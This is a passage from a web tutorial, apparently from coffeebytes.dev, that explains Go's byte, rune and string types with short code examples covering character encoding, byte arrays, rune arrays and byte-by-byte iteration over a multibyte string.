letters you see on the screen are a representation of those numbers.&lt;/p&gt;&#xA;&lt;p&gt;So how does the computer know which number corresponds to which letter? Well, a bunch of people got together and agreed to assign a number to each character. Of course these agreements are not universal and there are multiple variants on what numbers correspond to each letter, including ASCII, UTF-8, UTF-16, UTF-32 and other less common ones. That is, a number may represent the character &amp;ldquo;人&amp;rdquo; in one convention, but it may represent another letter in another convention, but they are just numbers.&lt;/p&gt;&#xA;&lt;p&gt;This topic is quite extensive and there is already enough information on the internet, so just keep in mind that behind each character there is a number that represents it and that this character depends on the table we use to represent it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/ASCII-Table-wide.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/ASCII-Table-wide.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;ASCII Table&#34; width=&#34;875&#34; height=&#34;582&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;ASCII table with modified colors taken from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://commons.wikimedia.org/wiki/File:ASCII-Table-wide.svg&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;wikimedia&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Knowing the above, let&amp;rsquo;s go to the byte data type.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;bytes-in-go&#34;&gt;Bytes in go&lt;/h2&gt;&#xA;&lt;p&gt;A byte in go is synonymous with an &lt;em&gt;uint8&lt;/em&gt;, an unsigned int8. In other words, 8 bits that we can assign directly to different notations. The fact that it is a &lt;em&gt;uint8&lt;/em&gt; data type allows us to use any number between 0 and 255.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;65&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// decimal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch1 &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;0b1000001&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// Binary&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch2 &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;o101      &lt;span style=&#34;color:#78787e&#34;&gt;// Octadecimal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch3 &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;0X41&lt;/span&gt;       &lt;span style=&#34;color:#78787e&#34;&gt;// hexadecimal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Just as we can store a number, we can also store the numeric representation of a character by wrapping it in single quotes.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;It is like saying to go: &amp;ldquo;Save the number value to which this character corresponds&amp;rdquo;. When printed, it will return the number, in decimal notation.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; ch &lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt; = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(ch)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 65&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we perform a type conversion to string, using the string converter, we will obtain the letter &amp;ldquo;A&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;string&lt;/span&gt;(ch))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// &amp;#39;A&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/ByteEnGo.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/ByteEnGo.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diagram of a byte in go&#34; width=&#34;875&#34; height=&#34;320&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Representation of the letter &amp;lsquo;A&amp;rsquo; in decimal notation. The square represents a byte or 8 bits.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;array-of-bytes&#34;&gt;Array of bytes&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Just as we have the byte data type, we can also create an array of bytes and in multiple ways. Notice how the array is stored with the number that corresponds to each character.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Created directly from a string &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ABCDE&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// As a char array&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;B&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;C&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;D&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;E&amp;#39;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// As a number array ord()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t3 &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;65&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;66&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;67&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;68&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;69&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// With copy &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; t4 = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;([]&lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;copy&lt;/span&gt;(t4, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ABCDE&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// In every case we obtain the same&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//[65 66 67 68 69]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;converting-an-array-of-bytes-to-a-string&#34;&gt;Converting an array of bytes to a string&lt;/h3&gt;&#xA;&lt;p&gt;Remember I told you that each number represents a character? Well, we can transform a sequence of bytes into a string. For that we use the function string, and we pass it our array of bytes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;t3 &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;byte&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;65&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;66&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;67&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;68&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;69&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;string&lt;/span&gt;(t1))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ABCDE&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;runes-in-go&#34;&gt;Runes in go&lt;/h2&gt;&#xA;&lt;p&gt;Runes or runes is an alias for &lt;em&gt;int32&lt;/em&gt; type. It is the default variable type when you define a character, &lt;strong&gt;we use single quotes to declare it&lt;/strong&gt;. If you do not specify a byte or other data type, go will assume it is a rune.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; runa &lt;span style=&#34;color:#9aedfe&#34;&gt;rune&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;65&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type:%T, value:%v\n&amp;#34;&lt;/span&gt;, runa, runa)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// type:int32, value:65&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, &lt;strong&gt;you will probably use runes most of the time to store characters&lt;/strong&gt;, not numbers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; runa &lt;span style=&#34;color:#9aedfe&#34;&gt;rune&lt;/span&gt; = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;人&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type:%T, value:%v\n&amp;#34;&lt;/span&gt;, runa, runa)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// type:int32, value:20154&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how the type remains the same, but its value is now 20154, because being an int32 we have access to 2³¹-1 (remember that a bit is used for the positive or negative sign).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/RuneEnGo-2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/RuneEnGo-2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Outline of a rune in memory&#34; width=&#34;875&#34; height=&#34;320&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Representation of the character &amp;lsquo;人&amp;rsquo; in decimal notation. The square represents a 32 bits.&lt;/p&gt;&#xA;&lt;h3 id=&#34;array-of-runes&#34;&gt;Array of runes&lt;/h3&gt;&#xA;&lt;p&gt;In the same way that we create a &lt;strong&gt;modifiable byte array&lt;/strong&gt;, we can create an array of runes, which is, for practical purposes, an array of &lt;em&gt;int32&lt;/em&gt;, which we can represent by characters.&lt;/p&gt;&#xA;&lt;p&gt;rune, with parentheses, is a type conversion from string to rune. Observe how at the end we have an array of &lt;em&gt;int32&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arrayRunes &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#ff5c57&#34;&gt;rune&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Jello, &amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arrayRunes[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;H&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arrayRunes = &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;(arrayRunes, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;世&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;!&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(arrayRunes)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [72 101 108 108 111 44 32 19990 33]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we did before, we can transform those numbers into a string using the string function.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;string&lt;/span&gt;(arrayRunes))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Hello, 世!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;strings-in-go&#34;&gt;Strings in go&lt;/h2&gt;&#xA;&lt;p&gt;A string is a &lt;strong&gt;slice of read-only, non-modifiable bytes,&lt;/strong&gt; declared using double quotes.&#xA;**Each index of the slice of an array refers to one byte. Pointing this out is important, because if we iterate over a string, we are going to get a different number of bytes than the characters that make up our string.&lt;/p&gt;&#xA;&lt;p&gt;At first glance we might think that our string has a length of 9 (and therefore will have 9 bytes), which is the number of runes or characters it has. However, if we measure the length of our string with the &lt;em&gt;len&lt;/em&gt; function, we will get the number 23, which refers to the number of bytes it occupies.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ID彼氏彼女の事情&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(s))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/runesEnGo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/images/runesEnGo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Difference in size of characters in a string in go&#34; width=&#34;1000&#34; height=&#34;400&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Difference in size of characters in a string in go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;When iterating over our string, we will be iterating byte by byte, so we will print 23 bytes, each byte expressed in octadecimal notation.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ID彼氏彼女の事情&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(s); i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%x &amp;#34;&lt;/span&gt;, s[i])   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 49 44 e5 bd bc e6 b0 8f e5 bd bc e5 a5 b3 e3 81 ae e4 ba 8b e6 83 85&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But what if we want to get each rune or character instead of the bytes? range allows us 